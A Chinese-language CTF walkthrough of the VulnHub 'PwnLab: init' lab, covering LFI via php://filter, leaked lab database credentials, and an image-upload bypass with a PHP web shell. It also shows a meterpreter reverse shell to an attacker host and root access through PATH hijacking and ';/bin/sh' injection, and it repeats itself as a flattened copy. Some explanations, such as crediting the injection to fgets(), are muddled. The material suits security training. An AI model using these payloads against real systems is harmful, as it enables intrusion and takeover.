VulnHub-PwnLab: init-靶机渗透学习
字数 1921 2025-08-15 21:33:06

PwnLab: init 靶机渗透教学文档

靶机概述

  • 靶机名称: PwnLab: init
  • 难度等级: 中级(CTF)
  • 发布日期: 2016年8月1日
  • 目标: 获取root权限并读取flag.txt
  • 下载地址: VulnHub PwnLab: init

信息收集阶段

1. 网络扫描

使用nmap进行端口扫描:

nmap -sV <靶机IP>

发现开放服务:

  • 80/tcp - HTTP
  • 111/tcp - rpcbind
  • 3306/tcp - MySQL
  • 44225/tcp - RPC

2. Web应用枚举

使用dirb扫描Web目录:

dirb http://<靶机IP>

发现重要目录:

  • /upload

使用nikto扫描漏洞:

nikto -h http://<靶机IP>

发现config.php文件可能存在敏感信息

漏洞利用阶段

1. LFI漏洞利用

发现URL形式为?page=,可能存在本地文件包含漏洞。

尝试直接访问/etc/passwd失败:

http://<靶机IP>/?page=etc/passwd

使用php://filter元封装器读取文件内容:

http://<靶机IP>/?page=php://filter/read=convert.base64-encode/resource=login

php://filter详解

  • 一种元封装器,用于数据流打开时的筛选过滤
  • read=<读链的筛选列表>
  • convert.base64-encode: 将文件内容转换为base64格式输出
  • resource=<要过滤的数据流>: 指定要筛选过滤的数据流

解码获取的base64内容,得到login.php源码:

<?php
include 'config.php';
// ... 登录逻辑代码 ...
?>

2. 获取数据库凭据

通过LFI读取config.php:

http://<靶机IP>/?page=php://filter/read=convert.base64-encode/resource=config

解码后获取数据库配置:

$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";

3. 数据库访问

使用获取的凭据连接MySQL:

mysql -h <靶机IP> -u root -p
# 输入密码: H4u%QJ_H99

查询Users数据库中的用户表:

USE Users;
SELECT * FROM users;

获取用户凭据(存储为base64):

  • kent/JWzXuBJJNy
  • mike/SIfdsTEn6I
  • kane/iSv5Ym2GRo

解码后可用于Web登录。

4. 文件上传漏洞利用

登录后发现有文件上传功能,限制只能上传图片。

分析上传处理逻辑(通过LFI获取upload.php源码):

  • 检查文件后缀
  • 使用getimagesize()验证图片有效性
  • 其他上传条件检查

绕过方法
使用GIF89a图片头欺骗:

  1. 使用msfvenom生成PHP反弹shell:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=443 -f raw > shell.php
  1. 添加GIF89a图片头:
echo 'GIF89a; <?php system($_GET["cmd"]); ?>' > shell.gif

上传成功后获取文件路径。

5. 反向Shell获取

分析index.php源码发现:

if (isset($_COOKIE['lang'])) {
    include($_COOKIE['lang']);
}

利用方法:

  1. 修改cookie中的lang值为上传的恶意文件路径
  2. 访问首页触发包含漏洞

设置监听:

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <攻击机IP>
set LPORT 443
exploit

权限提升阶段

1. 初始Shell访问

获取meterpreter会话后,查看用户和目录:

cd /home
ls

发现用户:kent、kane、mike

2. 从kane到mike提权

在kane目录下发现具有SUID权限的文件:

find / -perm -4000 2>/dev/null
# 或
find / -user mike -perm -4000 2>/dev/null

分析文件:

strings /path/to/msgmike

发现执行了cat /home/mike/msg.txt

提权方法

  1. 进入/tmp目录
  2. 创建伪造的cat命令:
echo '/bin/bash' > /tmp/cat
chmod +x /tmp/cat
  1. 修改PATH环境变量:
export PATH=/tmp:$PATH
  1. 执行msgmike文件,获得mike用户的shell

3. 从mike到root提权

在mike目录下发现msg2root文件具有SUID权限且属主为root:

ls -l msg2root
# -rwsr-xr-x 1 root root ...

分析文件:

strings msg2root

发现使用fgets()函数读取输入

fgets()特性

  • 从指定流读取一行
  • 遇到换行符或EOF停止
  • 但可以通过分号(;)执行多条命令

提权方法

./msg2root
# 输入: ;/bin/sh

获得root shell

总结与关键点

  1. 信息收集

    • 全面扫描开放端口和服务
    • Web目录枚举发现敏感文件(config.php)
    • 使用nikto等工具辅助发现漏洞
  2. LFI漏洞利用

    • 使用php://filter绕过文件内容显示限制
    • 通过包含配置文件获取数据库凭据
    • 读取源码分析应用逻辑
  3. 数据库利用

    • 使用获取的凭据直接访问MySQL
    • 提取用户凭据(注意base64编码)
    • 利用获取的凭据登录Web应用
  4. 文件上传绕过

    • 分析上传限制条件
    • 使用GIF89a图片头欺骗
    • 生成PHP反向shell
  5. Cookie注入

    • 通过分析源码发现包含漏洞
    • 修改lang cookie触发反向shell
  6. 权限提升技巧

    • 查找SUID权限文件
    • 环境变量劫持(PATH)
    • 命令注入(分号分隔)
    • 理解SUID/SGID权限机制
  7. 关键命令总结

    • 文件包含:php://filter/read=convert.base64-encode/resource=filename
    • 上传绕过:GIF89a; <?php system($_GET["cmd"]); ?>
    • 环境变量劫持:export PATH=/tmp:$PATH
    • 命令注入:;/bin/sh

通过以上步骤,可以系统性地完成从信息收集到最终获取root权限的全过程。每个环节都需要仔细分析和验证,特别是权限提升部分需要灵活运用系统特性。

PwnLab: init 靶机渗透教学文档 靶机概述 靶机名称 : PwnLab: init 难度等级 : 中级(CTF) 发布日期 : 2016年8月1日 目标 : 获取root权限并读取flag.txt 下载地址 : VulnHub PwnLab: init 信息收集阶段 1. 网络扫描 使用nmap进行端口扫描: 发现开放服务: 80/tcp - HTTP 111/tcp - rpcbind 3306/tcp - MySQL 44225/tcp - RPC 2. Web应用枚举 使用dirb扫描Web目录: 发现重要目录: /upload 使用nikto扫描漏洞: 发现config.php文件可能存在敏感信息 漏洞利用阶段 1. LFI漏洞利用 发现URL形式为 ?page= ,可能存在本地文件包含漏洞。 尝试直接访问/etc/passwd失败: 使用php://filter元封装器读取文件内容: php://filter详解 : 一种元封装器,用于数据流打开时的筛选过滤 read=<读链的筛选列表> convert.base64-encode : 将文件内容转换为base64格式输出 resource=<要过滤的数据流> : 指定要筛选过滤的数据流 解码获取的base64内容,得到login.php源码: 2. 获取数据库凭据 通过LFI读取config.php: 解码后获取数据库配置: 3. 数据库访问 使用获取的凭据连接MySQL: 查询Users数据库中的用户表: 获取用户凭据(存储为base64): kent/JWzXuBJJNy mike/SIfdsTEn6I kane/iSv5Ym2GRo 解码后可用于Web登录。 4. 文件上传漏洞利用 登录后发现有文件上传功能,限制只能上传图片。 分析上传处理逻辑(通过LFI获取upload.php源码): 检查文件后缀 使用getimagesize()验证图片有效性 其他上传条件检查 绕过方法 : 使用GIF89a图片头欺骗: 使用msfvenom生成PHP反弹shell: 添加GIF89a图片头: 上传成功后获取文件路径。 5. 反向Shell获取 分析index.php源码发现: 利用方法: 修改cookie中的lang值为上传的恶意文件路径 访问首页触发包含漏洞 设置监听: 权限提升阶段 1. 初始Shell访问 获取meterpreter会话后,查看用户和目录: 发现用户:kent、kane、mike 2. 从kane到mike提权 在kane目录下发现具有SUID权限的文件: 分析文件: 发现执行了 cat /home/mike/msg.txt 提权方法 : 进入/tmp目录 创建伪造的cat命令: 修改PATH环境变量: 执行msgmike文件,获得mike用户的shell 3. 从mike到root提权 在mike目录下发现msg2root文件具有SUID权限且属主为root: 分析文件: 发现使用fgets()函数读取输入 fgets()特性 : 从指定流读取一行 遇到换行符或EOF停止 但可以通过分号(;)执行多条命令 提权方法 : 获得root shell 总结与关键点 信息收集 : 全面扫描开放端口和服务 Web目录枚举发现敏感文件(config.php) 使用nikto等工具辅助发现漏洞 LFI漏洞利用 : 使用php://filter绕过文件内容显示限制 通过包含配置文件获取数据库凭据 读取源码分析应用逻辑 数据库利用 : 使用获取的凭据直接访问MySQL 提取用户凭据(注意base64编码) 利用获取的凭据登录Web应用 文件上传绕过 : 分析上传限制条件 使用GIF89a图片头欺骗 生成PHP反向shell Cookie注入 : 通过分析源码发现包含漏洞 修改lang cookie触发反向shell 权限提升技巧 : 查找SUID权限文件 环境变量劫持(PATH) 命令注入(分号分隔) 理解SUID/SGID权限机制 关键命令总结 : 文件包含: php://filter/read=convert.base64-encode/resource=filename 上传绕过: GIF89a; <?php system($_GET["cmd"]); ?> 环境变量劫持: export PATH=/tmp:$PATH 命令注入: ;/bin/sh 通过以上步骤,可以系统性地完成从信息收集到最终获取root权限的全过程。每个环节都需要仔细分析和验证,特别是权限提升部分需要灵活运用系统特性。